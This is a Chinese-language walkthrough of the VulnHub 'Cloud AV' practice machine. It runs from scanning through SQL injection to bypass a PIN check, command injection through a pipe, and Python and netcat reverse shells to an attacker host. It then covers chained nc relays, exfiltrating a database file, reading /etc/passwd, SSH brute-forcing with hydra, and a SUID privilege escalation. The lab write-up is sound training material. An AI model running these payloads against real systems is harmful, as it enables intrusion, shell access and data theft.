VulnHub-BoredHackerBlog: Cloud AV
1.主机发现
2.端口扫描
拿到IP后,对靶机进行全端口扫描,探测靶机开启了22和8080两个端口
3.服务发现
扫描出这两个端口后,使用namp对打开端口进行服务和版本的发现
22端口跑的是OpenSSH服务,操作系统是Ubuntu;8080端口跑的是http服务,服务器端可能运行Python的环境
4.WEB侦查
既然是Web服务,那就试一下呗
用我英语十级的水平一翻译还是简简单单的
插一段JavaScript试一下,结果有东西
<script>function myFunction(){alert("你好,我是一个警告框!");}</script>
随便点点试试发现一个弹窗要求输入PIN码
别问咋知道的,问就是英语十级
这我也不知道PIN码,只能再试一下其它的。扫了一下目录发现只有一个返回200
发现跟前面是一样的
没得办法,只能去查一下相关资料,结果发现http://192.168.56.103:8080/页面有两种方法可以登录
-
SQL注入
-
暴力破解
补充:暴力破解邀请码
kali自带字典位置/usr/share/wordlists
选中字典后使用burp suit进行爆破
5.SQL注入
观察前面发现的页面发现存在SQL注入(最后一行的绿框)
if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:
然后构造语句插入绕过PIN码验证,使用or 1=1使条件永为真,即输入
" or 1=1 -- +
6.命令注入
绕过后显示一个云防病毒扫描器界面
输入其中一个文件名bash之后发现一些奇奇怪怪的东西
用我英语十级的智慧翻译一下发现是扫描摘要
所以猜测这是一个用管道符连接的命令执行漏洞,在后端执行的命令逻辑为
avscan bash | ls
这样输入bash | ls得到
7.反弹SHELL
因为服务器运行的是Python环境,可使用Python反弹shell(大佬说的)
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.56.102",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
在这里使用nc反弹,先用bash | which nc查看靶机有没有nc,发现返回路径,说明靶机存在nc
于是乎开启侦听nc反弹,kali端执行侦听
但是浏览器执行bash | nc 192.168.56.102 4444 -e /bin/sh失败了,因为有些nc版本不支持-e参数,所以删除-e参数(bash | nc 192.168.56.102 4444),发现可以收到链接了
8.NC串联
先在kali开启两个监听,分别监听3333和4444端口
在浏览器执行下面的命令(执行后会先在3333端口建立链接,这时在3333输入任何命令都会调用/bin/bash,执行之后从4444端口输出)
bash | nc 192.168.56.102 3333 | /bin/bash | nc 192.168.56.102 4444
终端两个nc都收到了返回,在3333端口执行命令,会在4444端口看到返回
9.下载文件
开启nc侦听5555端口并将得到的数据存入db.sql(nc -nlvp 5555 > db.sql)
之后在3333端口执行nc 192.168.56.102 5555 < database.sql
用sqlite打开db.sql
10.查看目标用户
在3333端口执行cat /etc/passwd查看所有用户
用cat /etc/passwd | grep /bin/bash筛选出具有shell执行权限的用户,有三个:root,cloudav,scanner
11.密码爆破
知道了账号密码,做个字典爆破试试
创建用户名文件(vi user.txt)
创建密码文件(vi pass.txt)
字典做好了,用hydra对SSH爆破
hydra -L user.txt -P pass.txt ssh://192.168.56.103
可惜失败了,哎!
12.其它文件收集
外部信息基本都搞完了,只能再从靶机内部入手了,查看其它文件发现在上一级目录中有相同名称的文件,并且其中一个文件的所有者是root
13.代码审计
如果能进行命令注入,就能得到root权限,查看源文件(cat update_cloudav.c)
可看到在执行该文件时需在后面加命令
我咋知道的呢?因为英语十级很强
14.SUID提权
看到调用了log,猜测也可调用nc,所以再次使用nc命令反弹shell并在kali端监听5555和6666端口
./update_cloudav "a | nc 192.168.56.102 5555 | /bin/bash | nc 192.168.56.102 6666"
查看监听终端